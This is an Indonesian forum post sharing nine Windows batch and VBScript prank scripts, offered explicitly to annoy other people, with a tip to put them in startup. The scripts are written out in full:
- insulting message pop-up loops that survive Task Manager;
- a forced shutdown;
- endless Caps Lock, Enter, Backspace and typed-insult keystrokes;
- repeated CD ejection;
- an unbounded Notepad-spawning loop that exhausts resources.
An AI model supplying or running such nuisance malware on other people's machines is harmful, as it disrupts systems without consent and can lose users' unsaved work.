Bikin 9 script Yang Berguna

Ter-inspirasi dari trid nya Habs yg bikin cd/dvd eject mlulu....

gw pengen share script2 lain yg lumayan ngeselin orang...

dan ada yang berguna juga tergantung gimana temen2 modif kata2 nya

bisa di kombinasiin sendiri yah....misal nya di taruh di startup..

buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu

code

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT

ket:

walaupun di kill task manager,masih tetep nongol message nya

kata2 nya bisa diganti sesuai selera masing2...

apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...

di kirain cinta gila...

2.bikin shutdown+message 

code

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT

3.Mainin Caps Lock button

code

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD 

code

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

ampir mirip ama punya nya habs

5.bikin vbscript nongol mlulu

code

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs

ket:di task manager full wscript yg lg running

6.teken tombol backspace mlulu

code

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

7.otomatis ngetik "lu jelek banget sih" di notepad/word

code

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

save namafile.vbs

8.buka notepad trus menerus

code

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT

ket:termasuk yang ngeselin banget nih

bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.

9.otomatis buka notepad lalu ngetik apa yg lo mau

code

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

ket:

ini salah satu script favorit gw...dulu pernah gw nembak cewek pake cara ini..

gw rangkai pake kata2 gw...trus durasi ngetik nya juga di lambatin...

nama file nya isihatiku.vbs..

angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)